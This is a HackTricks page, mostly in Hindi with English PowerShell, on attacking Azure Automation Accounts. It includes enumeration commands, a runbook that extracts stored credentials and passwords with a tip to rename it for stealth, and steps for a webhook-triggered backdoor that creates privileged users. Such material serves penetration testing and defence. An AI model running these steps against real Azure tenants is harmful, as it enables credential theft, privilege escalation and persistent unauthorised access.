Az - Automation Account

Support HackTricks

Basic Information

From the docs: Azure Automation एक क्लाउड-आधारित ऑटोमेशन, ऑपरेटिंग सिस्टम अपडेट और कॉन्फ़िगरेशन सेवा प्रदान करता है जो आपके Azure और गैर-Azure वातावरण में लगातार प्रबंधन का समर्थन करता है। इसमें प्रक्रिया ऑटोमेशन, कॉन्फ़िगरेशन प्रबंधन, अपडेट प्रबंधन, साझा क्षमताएँ और विषम विशेषताएँ शामिल हैं।

ये Azure में "निर्धारित कार्य" की तरह हैं जो आपको प्रबंधित, जांचने और Azure वातावरण को कॉन्फ़िगर करने के लिए चीजें (क्रियाएँ या यहां तक कि स्क्रिप्ट) निष्पादित करने की अनुमति देंगे।

Run As Account

जब Run as Account का उपयोग किया जाता है, तो यह एक Azure AD ऐप्लिकेशन बनाता है जिसमें स्वयं-हस्ताक्षरित प्रमाणपत्र होता है, एक सेवा प्रमुख बनाता है और वर्तमान सदस्यता में खाते के लिए Contributor भूमिका सौंपता है (कई विशेषाधिकार)। Microsoft ऑटोमेशन खाते के लिए Managed Identity का उपयोग करने की सिफारिश करता है।

यह 30 सितंबर, 2023 को हटा दिया जाएगा और Managed Identities के लिए बदला जाएगा।

Runbooks & Jobs

Runbooks आपको मनमाने PowerShell कोड को निष्पादित करने की अनुमति देते हैं। इसका दुरुपयोग एक हमलावर द्वारा संलग्न प्रमुख के अनुमतियों को चुराने के लिए किया जा सकता है (यदि कोई हो)। Runbooks के कोड में आप संवेदनशील जानकारी (जैसे क्रेडेंशियल्स) भी पा सकते हैं।

यदि आप जॉब्स को पढ़ सकते हैं, तो ऐसा करें क्योंकि वे रन का आउटपुट रखते हैं (संभावित संवेदनशील जानकारी).

जाएँ Automation Accounts --> <Select Automation Account> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

Hybrid Worker

एक Runbook को Azure के अंदर एक कंटेनर में या Hybrid Worker (गैर-Azure मशीन) में चलाया जा सकता है। Log Analytics Agent को VM पर तैनात किया जाता है ताकि इसे एक हाइब्रिड कार्यकर्ता के रूप में पंजीकृत किया जा सके। हाइब्रिड कार्यकर्ता जॉब्स SYSTEM के रूप में Windows पर और nxautomation खाते के रूप में Linux पर चलती हैं। प्रत्येक हाइब्रिड कार्यकर्ता को Hybrid Worker Group में पंजीकृत किया जाता है।

इसलिए, यदि आप Windows Hybrid Worker में एक Runbook चलाने का विकल्प चुन सकते हैं, तो आप System के रूप में एक बाहरी मशीन के अंदर मनमाने आदेश निष्पादित करेंगे (अच्छी पिवट तकनीक)।

Compromise State Configuration (SC)

From the docs: Azure Automation State Configuration एक Azure कॉन्फ़िगरेशन प्रबंधन सेवा है जो आपको PowerShell Desired State Configuration (DSC) कॉन्फ़िगरेशन लिखने, प्रबंधित करने और संकलित करने की अनुमति देती है जो किसी भी क्लाउड या ऑन-प्रिमाइसेस डेटा केंद्र में नोड्स के लिए होती है। यह सेवा DSC Resources को भी आयात करती है, और लक्षित नोड्स को कॉन्फ़िगरेशन सौंपती है, सभी क्लाउड में। आप Azure पोर्टल में Configuration Management के तहत State configuration (DSC) का चयन करके Azure Automation State Configuration तक पहुँच सकते हैं।

इन कॉन्फ़िगरेशन में संवेदनशील जानकारी मिल सकती है।

RCE

यह प्रबंधित मशीनों में मनमाने स्क्रिप्ट चलाने के लिए SC का दुरुपयोग करना संभव है।

Az - State Configuration RCE

Enumeration

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

एक रनबुक बनाएं

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

एक ऑटोमेशन अकाउंट में परिभाषित क्रेडेंशियल्स और वेरिएबल्स को रन बुक का उपयोग करके एक्सफिल्ट्रेट करें

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

आप एक मौजूदा रन बुक को संशोधित करके और वेब कंसोल से वही काम कर सकते हैं।

स्वचालित उच्च विशेषाधिकार प्राप्त उपयोगकर्ता निर्माण के लिए सेटअप के चरण

1. एक ऑटोमेशन खाता प्रारंभ करें

  • आवश्यक कार्रवाई: एक नया ऑटोमेशन खाता बनाएं।

  • विशिष्ट सेटिंग: सुनिश्चित करें कि "Create Azure Run As account" सक्षम है।

2. रनबुक आयात और सेटअप करें

  • स्रोत: MicroBurst GitHub Repository से नमूना रनबुक डाउनलोड करें।

  • आवश्यक क्रियाएँ:

  • रनबुक को ऑटोमेशन खाते में आयात करें।

  • इसे निष्पादित करने के लिए प्रकाशित करें।

  • बाहरी ट्रिगर्स को सक्षम करने के लिए रनबुक में एक वेबहुक संलग्न करें।

3. AzureAD मॉड्यूल कॉन्फ़िगर करें

  • आवश्यक कार्रवाई: ऑटोमेशन खाते में AzureAD मॉड्यूल जोड़ें।

  • अतिरिक्त कदम: सुनिश्चित करें कि सभी Azure ऑटोमेशन मॉड्यूल उनके नवीनतम संस्करणों में अपडेट हैं।

4. अनुमति असाइनमेंट

  • असाइन करने के लिए भूमिकाएँ:

  • उपयोगकर्ता प्रशासक

  • सब्सक्रिप्शन मालिक

  • लक्ष्य: आवश्यक विशेषाधिकार के लिए इन भूमिकाओं को ऑटोमेशन खाते को असाइन करें।

5. संभावित पहुंच हानि के प्रति जागरूकता

  • नोट: ऐसी स्वचालन कॉन्फ़िगर करने से सब्सक्रिप्शन पर नियंत्रण खोने की संभावना हो सकती है।

6. उपयोगकर्ता निर्माण को ट्रिगर करें

  • एक POST अनुरोध भेजकर एक नया उपयोगकर्ता बनाने के लिए वेबहुक को ट्रिगर करें।

  • प्रदान किए गए PowerShell स्क्रिप्ट का उपयोग करें, यह सुनिश्चित करते हुए कि $uri को आपके वास्तविक वेबहुक URL से बदलें और $AccountInfo को इच्छित उपयोगकर्ता नाम और पासवर्ड के साथ अपडेट करें।

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

संदर्भ

HackTricks का समर्थन करें

Last updated